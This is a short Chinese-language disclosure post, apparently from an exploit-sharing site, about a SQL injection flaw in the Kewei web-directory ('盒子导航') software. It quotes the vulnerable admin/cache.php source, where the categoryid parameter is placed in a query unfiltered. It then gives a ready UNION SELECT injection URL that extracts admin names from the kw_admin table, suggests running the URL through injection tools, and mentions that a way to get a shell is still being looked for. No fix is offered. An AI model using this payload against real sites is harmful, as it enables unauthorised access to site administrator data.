科威网址盒子导航SQL注入漏洞

摘要

影响版本：最新
官方网站：http://www.kewei8.com 漏洞类型：SQL注入
漏洞描述：

影响版本：最新
官方网站：http://www.kewei8.com

漏洞类型：SQL注入
漏洞描述：

趁着饭没煮好 花几分钟找下漏洞
网址导航和盒子导航的程序文件一样的 就是界面不一样
经典对白... 看代码...
admin/cache.php

<?php

session_start( );

set_time_limit ( 0 );

error_reporting( E_ALL || E_NOTICE );

define ( ROOT , dirname ( dirname ( $_SERVER['SCRIPT_FILENAME'] ) ) . '/' );

require_once ROOT.'include/smarty_inc.php';

require_once ROOT.'include/mysql_inc.php';

require_once ROOT.'include/config_inc.php';

$db = new db_mysql();

$db -> connect( $dbhost, $dbuser, $dbpwd, $dbname);

$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : ""; //前奏了...

$DefaultSkin = $db -> select("SELECT * FROM `".$dbprefix."_option` WHERE `Name`= 'DefaultSkin'");

$DefaultSkin = $DefaultSkin[0]['Value'];

if( $type == "category" )  {  $categoryid = !empty( $_GET['categoryid'] ) ? trim( $_GET['categoryid'] ) : "";  //这里没有过滤..........

$temp = $db -> select("SELECT * FROM `".$dbprefix."_category` WHERE `ID`=".$categoryid);  //死在这里了。。。。。。。。。。。。

$templates->assign("name",$temp[0]['Name']);  $templates->assign("id",$temp[0]['ID']);

$templates->display(ROOT."templates/".$DefaultSkin."/category.tpl");

}

else

{  $templates->display(ROOT."templates/".$DefaultSkin."/index.tpl");  }

?>  超经典的注入漏洞。。。。
注入测试:

http://www.0day5.com/admin/cache.php?type=category&categoryid=1%20and%201=2%20union%20select%201,2,3,5,6,7,8,9,10,Name%20from%20kw_admin

或者使用http://www.0day5.com/admin/cache.php?type=category&categoryid=1丢注入工具

拿shell的方法待研究